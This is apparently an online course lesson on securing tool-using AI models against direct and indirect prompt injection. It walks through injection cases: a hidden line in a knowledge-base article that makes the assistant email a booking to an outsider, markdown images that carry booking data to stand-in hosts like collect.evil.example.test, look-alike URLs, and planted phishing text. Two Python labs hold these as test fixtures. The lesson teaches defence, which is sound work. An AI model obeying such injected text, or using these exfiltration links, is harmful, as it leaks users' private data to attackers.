Core day 53 of 60 · Week 11 · Part II · application depth

AI Safety and Security

A customer-care assistant reads knowledge-base articles and can send itinerary emails. An article, edited by someone outside your team, hides a line telling the assistant to email a booking to an outside address. Which control stops that deterministically, and which popular fix does not?

By the end: For a tool-using assistant you mark where untrusted text enters, name the worst thing the model could be talked into doing, and choose controls that hold even if the model fully complies with injected text.

At a glance

Assume the model will follow hostile text it reads, list what it can then reach, and remove or gate each harm in code outside the model.

Two entry paths
Direct: the user's own input. Indirect: pages, emails, tickets, tool results and memory.
Name the harm
Exfiltration, unintended writes or sends, other users' data, runaway cost.
Enforce outside model
Allow-lists, user-scoped credentials, per-call authorisation, output allow-lists.
Layers get measured
Prompt rules and detectors lower attack rates; they never guarantee. Count them.
Report both rates
Attack success and task success per build, plus the residual risk and its owner.

Recall · 5 min

Without notes: what did Day 47's "content is data, not instructions" rule require of a tool call, and what did Day 49 say should bound an agent loop besides the prompt?

Open due reviews

Concept · 10 min

A language model has no hard boundary between text it should obey and text it should only read: both arrive in one channel. An attacker needs no access to your systems, only to something your system reads. So assume the model obeys hostile text, then ask what it can reach, and gate that in code.

Moving a control from the prompt into the tool layer turns attack success from a guess into a count

Predict first

An injected article makes a summarise-only assistant call send_email. Which single change removes that capability?

Text description of the figure

Fixture documents with embedded instructions. You mark which pieces of the context are trusted and which are untrusted data, then choose controls; the lab shows which attack paths stay open, are blocked or remain residual under each choice, separating controls that live in code from instructions to the model.

Where untrusted text enters, and where the harm leaves Diagram

User messagetyped by the user
- direct: to Context window
Retrieved contentpages, emails, tickets
- indirect: to Context window
Tool resultsand long-term memory
later, memory
Context windoworders and data, one channel
Modelmay obey any of it
- to Rendered output
- to Logs and traces
Tool callharm: unsafe send, write, buy
Rendered outputharm: data out in links, images
Logs and tracesharm: private text, wider readers

The user did nothing wrong on the indirect paths. Controls belong on the right column, where code can decide what leaves.

Controls ordered by how little they depend on the model (qualitative) Scale

Prompt ruleasks the model
Detectormisses paraphrases
Approvalshows the exact action
Tool removedno capability left

Delimiters sit near the left end; per-call authorisation with user-scoped identity sits near the right.

An attacker who can retry beats any layer that only lowers the odds Illustration

no defence (30.0% per attempt)
prompt: ignore instructions in documents (21.0% per attempt)
all four prompt-level layers (7.1% per attempt)
e-mail tool removed from the task (code) (0.0% per attempt)

Hypothetical: a 30% chance per attempt before any defence and the lab's illustrative multipliers for each prompt-level layer, attempts treated as independent. Real rates depend on model, prompt and attacker; the shape is the point.

The chance that at least one attempt succeeds, as the attacker re-sends the same kind of document. Prompt layers bend the curve; only removing the capability flattens it.

Prompt rules, phrase filters and judges multiply a per-attempt chance. Re-sent documents turn a small chance into a likely success; a removed capability stays at zero.

Threat and control matrix for a tool-using assistant Table

Threat	Typical entry	Enforceable control	Layer to measure
Data sent to an outside address	Instruction in a retrieved article	Recipient must be the verified customer	Prompt rule, detector
Another customer's record read	Instruction naming a different account, claim or order id	Ownership check with user-scoped token	Prompt rule
Data leaves in a link or image	Markdown image with a query string	Output host allow-list; no auto-loaded images	Delimiters
Unintended write, send or refund	Any planted instruction	Per-task allow-list; approval showing the exact action	Detector
Poisoned preference reused later	Memory written from an email	Record origin; user confirms; checks in the tool	Prompt rule
Denial of wallet	Huge or looping inputs	Quotas, spend limits, input size, timeouts	-

Read across a row. Each threat needs at least one control in the third column; the fourth column is kept and measured, never counted.

Application output: planted calls that still execute, of 5 Chart

No controls5 of 5
+ per-task allow-list4 of 5
+ ownership checks2 of 5
+ link check on outputsurvivor: valid call, hostile meaning1 of 5

Legitimate calls executed 3 of 3 at every level in this replay. Each step removes a capability; none asks the model anything.

Split the reader from the actor, and narrow what crosses Diagram

Inbound emailuntrusted
Reader modelno tools, no private data
Checked fieldsenum intent, owned ref
- to Actor
Free text droppedit would carry the attack
Actorallow-listed tools, user token
Approvalexact message shown

A split helps only if what crosses it is constrained. A free-text summary from the reader is attacker text by another route.

Two paths: Direct prompt injection from the user's own input, Indirect prompt injection planted in content the application reads.
Goals: exfiltration, unsafe tool execution, privacy leakage, resource abuse.
A control is enforceable when code outside the model decides: per-task tool allow-lists, least privilege, authorisation on every call, output allow-lists, approval, isolation, quotas.
Prompt rules, delimiters and detectors are layers to measure, not controls. Keep a red-team suite and report attack success beside task success. Educational, not legal advice.

Assumptions

Any text the model reads may be attacker-controlled, including tool results and entries written to long-term memory.
Controls must hold even if the model fully complies with the injected text; otherwise they are mitigations to measure.
The application knows the requesting user and the task, since least privilege is impossible without that identity.
Red-team cases represent plausible attackers, so passing them is evidence, not proof.

Application and workplace decision · 10 min

The code replays eight tool calls a simulated model proposed after reading content: three from the customer's request, five planted in retrieved documents.
Controls are added one at a time; the code counts planted and legitimate calls that still execute.
Before running, write beside each planted call the control that should stop it. The last planted call contains only text.
Origins are labelled here; in a real system, tracking where text came from is something you must build.

Your answer to the task (decision, method, baseline). Write it before reading the interpretation.

Python

ALLOW = {"summarise": {"get_booking", "search_kb"}, "itinerary": {"get_booking", "send_email"}}
USER = {"pnrs": {"ABC123"}, "email": "ana@example.test"}
SAFE_HOST = "airline.example.test"

# Calls a simulated model proposed after reading content: (task, tool, argument, body, origin).
# origin "user" = the customer's own request; "document" = text planted in retrieved content.
P = [
    ("summarise", "get_booking", "ABC123", "", "user"),
    ("summarise", "search_kb", "baggage rules", "", "user"),
    ("itinerary", "send_email", "ana@example.test", "Your itinerary", "user"),
    ("summarise", "send_email", "rival@example.test", "full booking", "document"),
    ("itinerary", "send_email", "rival@example.test", "full booking", "document"),
    ("itinerary", "get_booking", "ZZZ999", "", "document"),
    ("itinerary", "send_email", "ana@example.test", "Pay at http://pay.evil.example.test", "document"),
    ("itinerary", "send_email", "ana@example.test", "To confirm, reply with your card number", "document"),
]

def allowed(level, task, tool, arg, body):
    if level >= 1 and tool not in ALLOW[task]:                 # capability removed for this task
        return False
    if level >= 2 and ((tool == "get_booking" and arg not in USER["pnrs"])
                       or (tool == "send_email" and arg != USER["email"])):   # authorise every call
        return False
    if level >= 3 and "http" in body and SAFE_HOST not in body:  # no links off the allow-list
        return False
    return True

names = ["no controls", "+ per-task allow-list", "+ ownership checks", "+ link check on output"]
for level, name in enumerate(names):
    ran = [c[4] for c in P if allowed(level, *c[:4])]
    print(f"{name:24s} planted calls executed {ran.count('document')}/5, legitimate {ran.count('user')}/3")

This code is executed in the repository's checks (pnpm lesson:py / lesson:sql). It is not run on this site; copy it into your notebook.

Technical depth · optional · 26 min in total

Open only what you need. Nothing here is required to complete the day; the assessment covers the core above.

The trust-boundary model, formalized6 minContext as origin-labelled segments, harm as an intersection of sets, and the 1 - (1 - p)^k arithmetic derived step by step and worked on a triage assistant.

Origin labels exist only outside the model, so code must decide Diagram

Developer textsystem prompt, tool specs
- to Context s1 … sn
Verified user textthe request
- to Context s1 … sn
External textpages, email, tool results, memory
Context s1 … snone stream: origins lost
Modelproposes an action a
- to a ∈ R(u, t)?
Sessionuser u, task t: never from the model
a ∈ R(u, t)?
- no: to Refuse and log
yes
Execute
Refuse and log

The model consumes segments s1 … sn as one undifferentiated token stream; only code still knows each origin and who the verified user is. The security question is then two sets: H, the harmful actions, and R(u, t), what code lets this user's task do. The model picks; code decides membership.

The trust-boundary model: harm is set membership, not model behaviour Formula

\begin{gathered} \text{harm possible} \iff H \cap R(u, t) \neq \emptyset \\[4pt] R' \subseteq R \setminus H \Rightarrow \Pr(\text{harm}) = 0 \end{gathered}

$R(u, t)$: the reachable set: every action code permits for the verified user u on task t (tools, arguments, recipients, hosts)
$H$: the harmful actions for this feature: exfiltrating sends, cross-user reads, unintended writes, runaway spend
$a \in R$: the model's output can only SELECT an action from R; no text it reads can enlarge R, because code checks membership
$R'$: an enforceable control shrinks the set (allow-list, ownership check, host filter); a prompt rule only shifts which a the model picks

The context is a concatenation of segments, each with an origin (developer, user, external), and the model has no typed boundary between them. The threat model therefore sets "the model's choice of a" to attacker-controlled whenever any segment is external, and asks what remains provable: only the membership check a in R.

Deriving 1 - (1 - p)^k, and what each step assumes Sequence

One attempt
A single planted document succeeds with probability p: the model complies and the action is still in R.
One failure
The complement: one attempt fails with probability 1 - p.
k failures
If attempts are independent, ALL k fail with probability (1 - p) x ... x (1 - p) = (1 - p)^k.
Complement again
At least one success = 1 - (1 - p)^k, which rises toward 1 for ANY p > 0 as k grows.
The only exit
Set p = 0 by removing the action from R. Then (1 - 0)^k = 1 for every k and the attack probability stays 0.

Independence is the generous assumption: real attackers read failures and adapt, so later attempts are MORE likely to work and the curve is a floor, not a ceiling.

Worked: a triage assistant reading referral letters (illustrative p) Grid

Per-letter compliance p →
Letters sent k ↓	0.05, no layers	0.01, detector
k = 1	0.050	0.010
k = 10	0.401	0.096
k = 30	0.785	0.260
k = 60	0.954	0.453

Each cell is 1 - (1 - p)^k; the detector keeps 1 in 5 attempts (p 0.05 to 0.01). Hypothetical rates, verified by simulation (numpy default_rng(0), 200,000 trials: 0.786 at p = 0.05, k = 30). A hospital inbox receives 60 letters in days. The detector buys time; only the empty intersection with H ends the race.

Turn a debate into a checkable claim: what each control changes Comparison

Criterion	Prompt rule"the system prompt forbids it"	Argument check in the tool"send accepts only the verified address"	Approval or reviewthe permitted action is itself the harm
What it changes	Pr(a ∈ H): which action the model picks	R: removes the harmful sends	Nothing in R: right recipient, hostile sentence
Effect on H ∩ R	Unchanged: still non-empty	Empty for this harm	Non-empty by design
After k attempts	1 − (1 − p)^k, rising toward 1	Stays 0	A person sees every one
Who decides	The model	Code	A reviewer, shown the exact action

Only the middle kind survives k attempts. The right column is the residual-risk row of the application block: when a permitted action with permitted arguments is the harm, code cannot remove it.

Mapping exposure before choosing controls3 minWhat the model reads versus what it can reach, and the four channels data leaves through.

Exposure depends on what the model reads and what it can reach Map

Internal assistant

Classic access control; still scope each tool to the user.

Highest exposure

Gate every consequential action and output channel in code.

Low exposure

Little to steal and little to do.

Can be fooled, cannot act

Embarrassing output is the main risk; measure it.

Moving a feature from the top-right cell to any other cell is often the cheapest control.

Coverage, residual paths and the arithmetic of retries4 minWhich code control closes which attack path, which paths no code control closes, and why stacking prompt layers never reaches zero.

Coverage map: which control closes which attack path Illustration

Attack path (lab fixtures)	Tool allow-list	Output schema	No secrets in context	Human approval	Plain-text output	Prompt: ignore docs	Prompt: never reveal	Phrase blocklist	LLM judge	Code controls that cut it
E-mail data to an outsider	cuts	–	–	cuts	–	×0.7	×0.8	×0.85	×0.5	2
Data out in an image URL	–	–	–	–	cuts	×0.7	×0.8	×0.85	×0.5	1
Execute “mark invoice paid”	cuts	cuts	–	cuts	–	×0.7	×0.8	×0.85	×0.5	3
Mislead the human reviewer	–	–	–	–	–	×0.7	×0.8	×0.85	×0.5	none: residual
Inflated score shortlists	–	–	–	cuts	–	×0.7	×0.8	×0.85	×0.5	1
Hidden text in a CV	–	–	–	–	–	×0.7	×0.8	×0.85	×0.5	none: residual
Password in a fetch URL	cuts	–	cuts	cuts	–	×0.7	×0.8	×0.85	×0.5	3
Password in a rendered image	–	–	cuts	–	cuts	×0.7	×0.8	×0.85	×0.5	2

Green: this control alone cuts a link of the path in code. Amber: a prompt-level layer that only multiplies the chance one attempt works (hypothetical factor). With all five code controls on: 6 of 8 paths blocked, 2 residual.

Computed from the injection lab's fixtures and attack-path model. The amber factors are the lab's illustrative assumptions, not measurements; they apply to every path equally, which is exactly why they cannot close one.

Read down a column for what one control buys, across a row for whether any code control closes the path. Residual rows (a misled reviewer, hidden text) need process: show the reviewer the source and the exact action, render hidden text visibly. One code control per row is the minimum; two independent ones survive a bug in either.

Why a lower per-attempt rate is not a boundary Formula

P(\text{at least one success in } n) = 1 - (1 - p\,f_1 f_2 \cdots f_m)^{n}

$p$: chance one attempt works with no prompt-level layer
$f_j$: factor by which layer j lowers that chance (0 < f < 1); measured, never zero
$n$: attempts: re-sent emails, re-crawled pages, new tickets
$\to 1$: for any f > 0 the probability tends to 1 as n grows; a cut link sets p to 0

Assumes independent attempts. Real attackers adapt, which makes later attempts more likely to work, not less.

Output-side controls and their limits3 minWhat a host allow-list catches, including look-alike hosts, and the hostile sentence it cannot see.

Hands-on lab: what a host allow-list catches Table

Model output	Host seen by the check	Result
https://airline.example.test/baggage	airline.example.test	Kept
Image from collect.evil.example.test with ?d=ABC123	collect.evil.example.test	Removed
https://airline.example.test.evil.example.test/rules	look-alike host: no exact match	Removed
http://airline.example.test@evil.example.test/login	whole authority incl. user-info: no exact match	Removed
A sentence with no link asking for a card number	none	Not covered: needs approval or review

The check parses the host and compares it exactly; a substring search for the safe host would keep rows 3 and 4. The first four rows are the lab's passing cases; the last row is why output controls are not the whole answer.

Four ways data leaves Overview

Tool arguments
An email recipient, a URL query string, a file path.
Auto-loaded images
The chat UI fetches a remote image whose URL carries the data: no click needed. Disable auto-load.
Logs and traces
Prompts and answers stored where more people can read them.
Outbound text
A permitted message whose body asks for, or contains, private data.

Architectural patternsadvanced4 minPlan-then-execute, dual LLM, action selector and context minimisation, and what each gives up.

Published design patterns that trade autonomy for safety Comparison

Criterion	Plan-then-execute	Dual LLM= the reader-actor split; strength is the narrow interface	Action selector	Context minimisation
Idea	Fix the sequence of tool calls before reading untrusted data	A privileged model never sees untrusted text; a quarantined one does	The model only picks from a fixed set of actions	Remove content the next step does not need
What it blocks	Injected text adding new actions	Untrusted text steering tool use	Arbitrary tool arguments	Instructions surviving into later steps
What it costs	Cannot adapt the plan to what it reads	Engineering effort; narrow interfaces	Little flexibility	Less context for hard tasks

From Beurer-Kellner et al. (2025, preprint), which lists further patterns. Evaluate each on task success, not attack success alone.

Red teaming as a regression suite3 minHow to keep attack cases running on every change and report them honestly.

A red-team suite as a regression test Sequence

Write cases as fixtures
Planted instruction, entry path, the harmful call or output it aims for.
Run on every change
Prompt, model, tool, retrieval or memory change triggers the suite.
Report two rates
Attack success and task success per build; a defence that disables the product is visible.
Grow it from incidents
Every incident and near miss becomes a new case.
State what it cannot show
Passing finds no failures in these cases; it does not prove absence.

Frameworks and privacy3 minWhich checklist answers which question, and four privacy defaults.

Checklists and frameworks to anchor a review Table

Reference	Use it for
OWASP Top 10 for LLM Applications (2025)	Design checklist; here LLM01:2025 Prompt Injection, LLM05:2025, LLM06:2025 Excessive Agency, LLM10:2025
MITRE ATLAS	Adversary techniques and case studies against AI systems
NIST AI 600-1 (2024)	GenAI risk profile with suggested actions mapped to the AI RMF
GDPR Article 5(1)(c) and (e)	Data minimisation and storage limitation principles; applying them is a legal question

LLM05:2025 is Improper Output Handling and LLM10:2025 Unbounded Consumption. Educational orientation, not legal advice.

Privacy by default for an assistant Sequence

Minimise context
Only the fields the step needs enter the prompt.
Filter in the retriever
Apply document permissions before the model sees anything.
Retain briefly
Traces and snapshots get a retention period; content logging is opt-in.
Propagate deletion
Plan how a deletion request reaches indices, caches and stored memory.

Memory anchor

Assume the model obeys; then ask what it can reach and gate that in code.

Useful for

Threat-modelling a GenAI feature by following data flow from untrusted text to tools and private data, from a bank's email triage to an e-commerce seller-message assistant.
Reviewing a design where the only stated mitigation is "the system prompt tells it not to".
Choosing which red-team cases to automate and how to report their results with task success.

Not suitable for

Proving a system secure; tests show the presence of failures, not their absence.
Legal or compliance determinations, which depend on jurisdiction and need qualified advice.

Traps

Delimiters presented as security

Wrapping retrieved text in tags helps the model separate data from instructions, but a determined payload can imitate or close the tags, so the boundary exists only in the prompt.

How to avoid it

Keep delimiters as a layer and place the actual limits on tools, arguments, identity and approvals in code.

A shared service account for all tools

Any successful injection inherits the broadest permissions, including data the requesting user could never see; in a SaaS helpdesk that means every tenant's tickets behind one compromised summarise request.

How to avoid it

Execute tools with the requesting user's scoped credentials and log calls under both user and agent identity.

Senior reasoning

A senior designs the failure first: assume the model will follow hostile text, list what it can reach, and remove or gate each reachable harm in code. They keep the prompt-level defences, measure them, and never count them as the control. They state the residual risk in the design review so that someone owns it.

Interview question

Walk me through securing a retail bank's support assistant that reads inbound customer email and can send email on the customer's behalf.

Outline your answer first.

Recall cards scheduled after completion

Direct versus indirect prompt injection, and which one does the user not cause?
Name three enforceable controls and one that is not, and say what makes a control enforceable.

Reviewed on a 1 · 3 · 7 · 14 · 30-day schedule; a miss returns the card to 1 day.

Prerequisites and related concepts

References

Not What You've Signed Up For: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection — Kai Greshake, Sahar Abdelnabi, Shailesh Mishra, Christoph Endres, Thorsten Holz, Mario Fritz, 2023core
Defines indirect prompt injection through data retrieved by LLM-integrated applications and demonstrates data theft and other harms.
Ignore Previous Prompt: Attack Techniques For Language Models — Fábio Perez, Ian Ribeiro, 2022core
Direct prompt injection attacks, namely goal hijacking and prompt leaking.
LLM01:2025 Prompt Injection (OWASP Top 10 for LLM Applications) — OWASP Gen AI Security Project, 2025core
Defines direct and indirect injection, states that retrieval and fine-tuning do not fully mitigate it, and lists mitigations such as least privilege and human approval.
LLM06:2025 Excessive Agency (OWASP Top 10 for LLM Applications) — OWASP Gen AI Security Project, 2025optional
Excessive functionality, permissions and autonomy as root causes; minimise extensions, least privilege and enforce authorisation downstream.
OWASP Top 10 for LLM Applications (2025 risk list) — OWASP Gen AI Security Projectoptional
The 2025 risk list used as a design-review checklist, from prompt injection to unbounded consumption.
Design Patterns for Securing LLM Agents against Prompt Injections — Luca Beurer-Kellner, Beat Buesser, Ana-Maria Creţu, Edoardo Debenedetti, Daniel Dobos, Daniel Fabian, Marc Fischer, David Froelicher, Kathrin Grosse, Daniel Naeff, Ezinwanne Ozoani, Andrew Paverd, Florian Tramèr, Václav Volhejn, 2025optional
Architectural patterns such as plan-then-execute and dual LLM, with the principle that untrusted input must not trigger consequential actions. Preprint.
AgentDojo: A Dynamic Environment to Evaluate Prompt Injection Attacks and Defenses for LLM Agents — Edoardo Debenedetti, Jie Zhang, Mislav Balunović, Luca Beurer-Kellner, Marc Fischer, Florian Tramèr, 2024optional
A benchmark measuring both utility and attack success for tool-using agents under prompt injection.
Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile — National Institute of Standards and Technology (NIST), 2024optional
A GenAI risk profile with suggested actions, including information security and data privacy, mapped to the AI RMF. Educational reference, not legal advice.

Optional sections

Deep dive · 10 min

Why injection is hard to remove. Instructions and data share one token stream, and a model is trained to follow instructions wherever they appear. Training and prompting lower the compliance rate; neither gives a guarantee, and the attacker chooses the wording after seeing the defence. This is why the design question is "what can the component reach", not "can it be fooled".

Architectural patterns. Several published patterns trade autonomy for safety: fix the plan before reading untrusted data; let a tool-less model extract fields that a privileged component then acts on; keep the model that sees untrusted text away from tools and private data; reduce the context to what the step needs. Each limits utility, so evaluate it on the task, not on attack success alone.

Exfiltration channels. Data leaves through tool arguments (email recipient, URL query string), through links and images that a chat interface fetches automatically, and through logs that other people can read. Closing channels means allow-listing hosts, disabling auto-loaded remote resources and controlling who can read traces.

Privacy. Minimise what enters the context and the logs, give traces and snapshots a retention period, apply document permissions inside the retriever before the model sees anything, and plan how deletion requests propagate to indices and caches. Data minimisation and storage limitation are principles in the EU's GDPR (Article 5(1)(c) and (e)); applying them to a specific system is a legal question outside this course.

Red teaming. Keep cases in versioned fixtures, run them against every prompt, model and tool change, and report attack success together with task success so a defence that disables the product is visible. Tests find failures; they cannot prove absence.

Hands-on lab: An output-side link allow-list as a deterministic exfiltration control · 15 min

The code removes links and images whose host is not allow-listed from synthetic model output, and checks six cases including a look-alike host and a user-info trick. Run it, then (1) add a case where the data leaves through a path segment instead of a query string and decide whether the control still works, (2) explain what this control does not stop, and (3) write one regression case for your own assistant in the same format.

import re

ALLOWED_HOSTS = {"airline.example.test"}
URL = re.compile(r"https?://([^/\s)?#]+)[^\s)]*", re.IGNORECASE)   # host = text before the first / ? #

def neutralise(text):
    """Remove links and images whose host is not on the allow-list; return clean text and what was removed."""
    removed = []
    def repl(m):
        if m.group(1).lower() in ALLOWED_HOSTS:
            return m.group(0)
        removed.append(m.group(0))
        return "[link removed]"
    return URL.sub(repl, text), removed

# Synthetic model outputs (no real model). Each is (text, expected number of removed links).
cases = [
    ("See https://airline.example.test/baggage for limits.", 0),
    ("![logo](https://collect.evil.example.test/p.png?d=ABC123-ana)", 1),
    ("Details: https://airline.example.test.evil.example.test/rules", 1),   # look-alike host
    ("Open http://airline.example.test@evil.example.test/login", 1),          # user-info trick
    ("HTTPS://EVIL.EXAMPLE.TEST/x and https://airline.example.test/fees", 1),
    ("No links here, only the answer: EUR 60.", 0),
]
ok = 0
for text, expected in cases:
    clean, removed = neutralise(text)
    good = len(removed) == expected
    ok += good
    print(("PASS " if good else "FAIL ") + clean)
print(f"{ok}/{len(cases)} cases passed")
print("note: the allow-list is a deterministic output control; it does not stop a hostile sentence with no link")

Interview practice · 10 min

A product manager at a telecom operator says of the billing-support assistant: "We tell the model in the system prompt never to reveal customer data, and we tested it with ten attacks. Is that enough?"

Answer as you would in the interview.

Content version 6 · last verified 2026-10-13

1 Recall · 5 min

2 Concept · 10 min